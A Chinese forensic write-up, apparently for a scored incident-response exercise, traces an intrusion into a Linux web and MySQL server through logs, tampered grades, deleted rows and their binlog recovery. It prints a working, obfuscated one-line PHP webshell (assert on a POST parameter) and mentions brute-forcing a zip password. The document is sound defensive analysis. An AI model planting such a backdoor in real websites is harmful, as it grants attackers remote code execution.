取證和分析步驟

“先森”幾乎運用純手工的七個步驟，比較完整的追蹤和定位了“黑客”的行為痕跡。部分地方的知識點不適合初學(xué)者閱讀，小編自行刪除了。

1、被入侵服務(wù)器的數(shù)據(jù)做證據(jù)固定，包括但不限于：系統(tǒng)版本、IP、進程信息、登錄日志、時間、日志、數(shù)據(jù)庫、網(wǎng)站、Web訪問日志等。（20分）

（1）查看系統(tǒng)版本的幾種命令：

lsb_release -a

uname -a

cat /proc/version

（2）查看IP：

ifconfig

（3）查看進程信息：

ps aux

ps -ef

（4）登錄日志：

(注意:幾處登陸日志被hacker刪除了)

last

（5）網(wǎng)站日志：

因為服務(wù)器沒有使用默認網(wǎng)站，所以無法從默認站點上獲取網(wǎng)站的信息。

思路：首先查找http服務(wù)，發(fā)現(xiàn)是nginx。因為日志文件是需要實時寫入的，遂查找nginx進程的正在使用的文件。

ps –ef | grep nginx //查找nginx的進程號

ll /proc/【pid】/fd //列出某進程打開文件的情況

/home/wwwlogs/nginx_error.log 是nginx的存放錯誤日志的文件。

/home/wwwlogs/access/log 是nginx的訪客記錄日志文件，一般包括IP、訪問時間、訪問的鏈接、來源鏈接、user-agent、頁面狀態(tài)碼等。

（6）數(shù)據(jù)庫日志：

取證時不建議直接登錄數(shù)據(jù)庫操作，因為這樣會造成sql查詢?nèi)罩疚廴尽?/span>

Linux下數(shù)據(jù)庫一般是mysql，而mysql的配置文件一般命名為my.cnf。

查看mysql配置文件，沒有什么發(fā)現(xiàn)。

然后嘗試通過進程來獲取mysql服務(wù)相關(guān)的信息：

ps aux | grep mysql

參數(shù)說明：

datadir：數(shù)據(jù)庫數(shù)據(jù)存放路徑

log-error：存放錯誤日志路徑

pid-file：記錄當(dāng)前mysql進程的pid

basedir：數(shù)據(jù)庫安裝路徑

plugin-dir：插件路徑

通過參數(shù)我們得知mysql的路徑位置為/usr/local/mysql/

進入mysql的目錄：

cd /usr/local/mysql/var

發(fā)現(xiàn)通用查詢?nèi)罩?這里通過默認文件名判斷的，若想準確定位需要用mysql內(nèi)置函數(shù)來查找 show variables like 'general_log_file';)：

這就意味著我們得到了mysql的操作日志。

mysql-bin.* ——二進制日志文件

我用notepad++打開了其中一個文件，發(fā)現(xiàn)有一個修改root密碼的操作。拿到mysql數(shù)據(jù)的密碼。

意外的收獲：

在對日志進行梳理的時候，發(fā)現(xiàn)該服務(wù)器有自動備份history操作的備份計劃任務(wù)。

cat /var/log/cron //查看計劃任務(wù)日志

cat /tmp/backup-log/backuplog.sh //查看backuplog.sh的內(nèi)容

可以看到該腳本將/var/log 和 /root/.bash_history 壓縮并以帶有時間的命名存放在/tmp/backup-log/ 文件夾下。

將backup-log文件夾down回來分析：

發(fā)現(xiàn)最早的history日志備份是我們?nèi)∽C過程中自動備份的。

同樣/var/log/下的日志備份也是我們?nèi)∽C這段時間的。

而被入侵前和入侵時的日志被hacker刻意刪除了。(由于手里沒有好用的數(shù)據(jù)恢復(fù)工具，就沒有對數(shù)據(jù)進行恢復(fù)，但不影響從其他途徑取證)

考慮到服務(wù)器還會有遺留的備份日志壓縮包的可能性，嘗試查找一下：

locate .backup-history //locate會自動匹配帶有“.backup-history”的文件

locate .var.log

分別得到命名為201708081534.tar.gz 和 var.log201708081329.tar.gz的兩個壓縮包。

解壓這history壓縮包：

該history文件只記錄了管理員的操作，并沒有記錄hacker入侵時候的操作。所以此次備份于hacker入侵前自動備份。

（7）其他零碎的線索：

2017年8月8日下午三點四十五分從學(xué)生成績表中導(dǎo)出了數(shù)據(jù)并命名為studient.csv 

2、從被入侵服務(wù)器中提取入侵者IP，判斷入侵者的入侵方式，簡述判斷依據(jù)；（10）

查看nginx的access.log：

cd /home/wwwlogs/ //進入網(wǎng)站日志目錄

cat access.log | more //分頁查看日志

對web日志進行審計時候，發(fā)現(xiàn)有異常操作。這里對其中的一部分截取分析，第7019行和7020行：

通過日志我們發(fā)現(xiàn)，IP為192.168.232.150的訪客，頻繁訪問了 adminer.php和1.php這兩個文件。從這文件命名習(xí)慣來看,這兩個文件看起來不是正常文件。

用locate命令去定位1.php，并查看1.php的內(nèi)容：

locate 1.php //定位1.php的絕對路徑

cat /home/wwwroot/mhedu.sh.cn/jyzl/images2/1.php  //查看1.php的內(nèi)容

<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['xise']);?>

很明顯這是“一句話木馬”，所謂一句話木馬就是將一段含有任意代碼執(zhí)行的php/asp/aspx/jsp等腳本上傳到網(wǎng)站，當(dāng)webshell客戶端（一般為中國菜刀，當(dāng)然一些黑客不滿足于中國菜刀內(nèi)置的功能，開發(fā)出功能更強的客戶端）要對網(wǎng)站進行操作時，會用內(nèi)置函數(shù)去調(diào)用(通過POST一段base64編碼的代碼)“一句話木馬”，以實現(xiàn)相應(yīng)的操作?！耙痪湓挕皩⒃竟δ軓?fù)雜、體積龐大的“大馬”精簡到一行代碼并且功能不減，是黑客最鐘愛的后門手段。

分析一句話：

通過創(chuàng)建數(shù)組的方式實現(xiàn)代碼“中轉(zhuǎn)”從而欺騙防護軟件達到任意代碼執(zhí)行功能。關(guān)于assert函數(shù)的介紹，摘自php官方手冊：

bool assert ( mixed $assertion [, Throwable $exception ] )

assert() 會檢查指定的 assertion 并在結(jié)果為 FALSE 時采取適當(dāng)?shù)男袆印?/span>

如果 assertion 是字符串，它將會被 assert() 當(dāng)做 PHP 代碼來執(zhí)行。

請注意最后一句，如果assert中參數(shù)為字符串，將會被當(dāng)作代碼執(zhí)行。而assert中的字符串則是通過xise這個參數(shù)傳遞過來的。將上面一句話精簡后，如下：

<?php assert($_POST[‘xise’])?>

同時根據(jù)POST中的變量名xise我們可以推測出黑客使用的webshell管理器就是“XISE”——批量webshell &寄生蟲 管理器。

我們繼續(xù)追1.php的日志，嘗試查找1.php最早被創(chuàng)建以及訪問的時間：

ls –al /home/wwwroot/mhedu.sh.cn/jyzl/images2/1.php  //查看詳細信息

1.php的創(chuàng)建時間為6月8日，考慮到文件創(chuàng)建時間可以被偽造，這里我們不做記錄。

而網(wǎng)站日志里的第一次訪問時間是不會被偽造的，得到8月8日下午四點四分hacker第一次訪問了后門，所以hacker入侵服務(wù)器(寫入webshell)的時間是8月8日下午四點四分之前。

同樣的方法，我們定位adminer.php并獲取它的信息：

locate adminer.php

ls –al /home/wwwroot/mhedu.sh.cn/adminer.php //查看詳細信息，日期

通過對代碼的分析，我們得知adminer.php是一個正常的數(shù)據(jù)庫管理腳本(實則是大部分黑客的拖庫利器)：

同樣的，我們追adminer.php第一次出現(xiàn)的時間：

8月8日下午三點五十九分出現(xiàn)。同時訪問者的IP和入侵者的IP為同一個，所以我們相信 adminer.php 和 1.php 均是hacker上傳的。剩下的我們重點分析192.168.232.150訪問過的頁面，當(dāng)然其他的IP也不能忽視。

當(dāng)審計完所有WEB日志后，發(fā)現(xiàn)adminer.php完全凌空出現(xiàn)在網(wǎng)站上，同樣1.php也是。常規(guī)情況下，黑客WEB入侵會留下大量日志，如SQL注入、上傳后門、文件掃描等等。而這里并沒有出現(xiàn)任何WEB入侵的跡象。

前面在對登陸日志審計時，發(fā)現(xiàn)早期的日志不存在，猜測hacker可能提權(quán)后將日志和部分痕跡清理掉了。而清除日志需要用root權(quán)限，所以hacker已經(jīng)拿到服務(wù)器的root權(quán)限且以root身份操作過服務(wù)器。

從1.php第一次出現(xiàn)和他出現(xiàn)之前最有一次訪問網(wǎng)站時間間隔來看，hacker用完adminer.php后，中間有4分鐘沒有操作，之后hacker開始訪問1.php。

我們推測有兩個原因：要么是4分鐘確實進行了入侵操作，但hacker把日志刪除了；要么就是這4分鐘他通過某種方式對網(wǎng)站寫入了1.php，并非WEB層次上的。

假設(shè)第一個理由成立，黑客入侵后對關(guān)鍵WEB日志刪除過，那他為什么不全部刪除呢？日志里已經(jīng)有他大量的IP訪問記錄了，全部刪除豈不是更好？況且adminer.php和1.php的日志他為什么不刪除？所以第一個理由被推翻，我們猜測通過服務(wù)器其他服務(wù)入侵的。

查看開放端口并判斷入侵方式：

常見的3306、80、22端口開放，分別對應(yīng)著mysql、nginx、sshd服務(wù)。Mysql的入侵一般就是密碼暴力破解，nginx就是網(wǎng)站入侵(已排除)、sshd也是暴力破解。

通過之前的mysql日志(general log)分析，并沒有發(fā)現(xiàn)有寫入webshell的操作，最終推測可能是利用sshd服務(wù)入侵的(ssh日志被刪除了，無法完全認定是ssh入侵的)。

注：查閱相關(guān)資料后，發(fā)現(xiàn)Winscp下使用sftp協(xié)議，執(zhí)行命令或者操作目錄文件,在history,lastlog,last,w下不會有記錄，但在/var/log/secure下有日志。

判斷可能是通過Winscp登陸，并且使用sftp協(xié)議來繞過記錄。

3、入侵者是否存在刪除日志的行為，如何刪除？（10）

存在刪除日志的行為。

history //查看bash操作歷史

可以看到，hacker查找了名為”.bash_history”的文件，并刪除了它。

前面在對/var/log下的日志進行取證時，發(fā)現(xiàn)丟失了大量的日志，如wtmp、secure、lastlog等等。所以hacker應(yīng)該先刪除了/var/log的日志，最后又刪除了history日志。

4、入侵者有修改過數(shù)據(jù)庫中的數(shù)據(jù)？修改是哪些數(shù)據(jù)？（5）

修改過數(shù)據(jù)庫中的數(shù)據(jù)。

cat /usr/local/mysql/var/localhost.log |grep “update” //查看通用日志中的update操作

通過對mysql操作日志(通用日志)來看，發(fā)現(xiàn)hacker使用update命令，對張曉和李小東兩人的成績進行修改。修改前二人分別為580分和592分，修改后二人成績分別為590分和600分。

5、服務(wù)器中存在一個被加密過的壓縮包，請?zhí)崛』蚱平馄浼用苊艽a并還原到數(shù)據(jù)庫中。（5）

思路：遍歷所有加密壓縮包，首先以找文件名奇怪的為主。

在沒有任何準備的情況下，我真的遍歷了所有壓縮包，搜尋了大約1個多小時就放棄了。

使用命令遍歷海量壓縮包查找方式走投無路，我決定使用“笨辦法”——編程。即通過遍歷壓縮包的加密位來判斷當(dāng)前壓縮包是否被加密，然后再篩選。

因為需要知道壓縮包HEX下加密位的特征，所以我打算在centos上加密壓縮一個再提取加密位，當(dāng)加密時候，發(fā)現(xiàn)只有兩個壓縮包支持：

這樣范圍縮小到后綴為.cbz和.zip。

第一種方法：使用find命令直接查找后綴為”cbz”/”zip”的文件，然后根據(jù)名字判斷。

第二種：寫程序遍歷后綴為”cbz”/”zip”的文件并提取帶有加密位的壓縮包。

find / -type f –name “*.zip” //從根目錄下遍歷后綴為zip的文件

發(fā)現(xiàn)有一個叫做studient.sql.zip的壓縮包，直覺告訴我這個壓縮包絕對有問題。

成功找到加密壓縮包student.sql.zip 

雖然使用find命令很快拿到了結(jié)果，但我還是想試試編程方式，順便練練手。當(dāng)我在windows上寫好程序并且測試通過，準備放到centos上時候，意想不到的情況發(fā)生了：

通過在互聯(lián)網(wǎng)上查找錯誤信息，我確認是python版本的問題，因為升級python會破壞數(shù)字證據(jù)，我放棄了這條思路。此腳本我放到“取證”文件夾的根目錄了，寫的很簡單，有幾個bug沒修復(fù)。

爆破ZIP壓縮包：

使用Archpr+弱口令爆破壓縮包

跑一下密碼，發(fā)現(xiàn)密碼是111111。

考慮到直接恢復(fù)到服務(wù)器數(shù)據(jù)庫會造成日志污染，我將mysql恢復(fù)到了我的一臺服務(wù)器上：

第一步，執(zhí)行SQL命令“create database student”，創(chuàng)建一個數(shù)據(jù)庫；

第二步，在MYSQL-Front中打開student.sql，彈出窗口詢問是否執(zhí)行，點擊是；

得到1879條學(xué)生信息數(shù)據(jù)。

6、入侵者是否刪除過的數(shù)據(jù)庫中的數(shù)據(jù)？是否可以恢復(fù)，如何恢復(fù)。（5）

刪除過數(shù)據(jù)。

2017年8月8日下午四點六分四十八秒 hacker連接到數(shù)據(jù)庫，并刪除了第一批數(shù)據(jù)；

下午四點六分五十四秒，刪除了第二批數(shù)據(jù)；

下午四點七分零三秒，刪除了第三批數(shù)據(jù)；

下午四點七分零八秒，刪除了第四批數(shù)據(jù)。

數(shù)據(jù)恢復(fù)過程：

相關(guān)資料：[如何通過mysql binlog 恢復(fù)數(shù)據(jù)]

Binlog的create time有問題，可能是服務(wù)器時間問題可以無視。

【注意:恢復(fù)數(shù)據(jù)時，切記不要在取證機器上操作】

登陸mysql數(shù)據(jù)庫，查看恢復(fù)前的記錄數(shù)：

mysql –u root –p //以數(shù)據(jù)庫管理員root身份登陸；

show databases; //查看所有數(shù)據(jù)庫；

use studient //使用studient數(shù)據(jù)庫

show tables; //查看studient數(shù)據(jù)庫中的表；

select count(*) from score; //查看score表的記錄數(shù)。

看到只有1679條記錄。

開始恢復(fù)數(shù)據(jù)：

cd /usr/local/mysql/var/ //進入到mysql存放日志的目錄

ls //查看該目錄下的文件

/usr/local/mysql/bin/mysqlbinlog mysql-bin.00001 >/root/Desktop/test.sql //使用mysqlbinlog 恢復(fù)mysql-bin.00001到桌面上并創(chuàng)建名為test.sql

……

/usr/local/mysql/bin/mysqlbinlog mysql-bin.00008 --stop-date='2017-08-08 16:05:00' >>/root/Desktop/test.sql //將00001-00007追加到test.sql后，我們需要對00008進行選擇性恢復(fù)，即設(shè)置時間限制。因為hacker第一次刪除數(shù)據(jù)是2017年8月8日下午四點六分四十八秒，為了最大降低恢復(fù)數(shù)據(jù)的誤差，我將stop-date設(shè)置為“2017-0808 16:05:00”，然后繼續(xù)追加到桌面的test.sql。

然后再在mysql中執(zhí)行：

mysql>source /root/Desktop/test.sql //導(dǎo)入test.sql到數(shù)據(jù)庫，即最后一步恢復(fù)數(shù)據(jù)。

當(dāng)Sql語句執(zhí)行完畢后，會出現(xiàn)大量的“ Query OK，x rows affected (0.01 sec)”表示執(zhí)行test.sql語句成功，已恢復(fù)某條記錄。

再次執(zhí)行 select count(*) from score; 查看記錄數(shù)，發(fā)現(xiàn)是1879條，完成恢復(fù)任務(wù)。

7、服務(wù)器中是否存在webshell程序，請?zhí)崛∠鄳?yīng)的程序。并分析上述程序是否存在被訪問或控制記錄。分析訪問日志并說明對應(yīng)控制行為，訪問端IP地址等信息。（5）

存在webshell。

具體webshell分析參見上方。

1.php的MD5： 4c5b47eb016d6e3ce3511a9bf4b6374d 

訪問者的IP：192.168.232.150

User-agent：Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

總共匹配了54次對1.php的POST，因為POST內(nèi)容一般不會被日志記錄，所以我們無法得知hacker具體進行了哪些操作，已知hacker在網(wǎng)站上進行了54次操作。

【編者注】以上操作純屬虛構(gòu)的白帽行為，如有雷同，實屬巧合。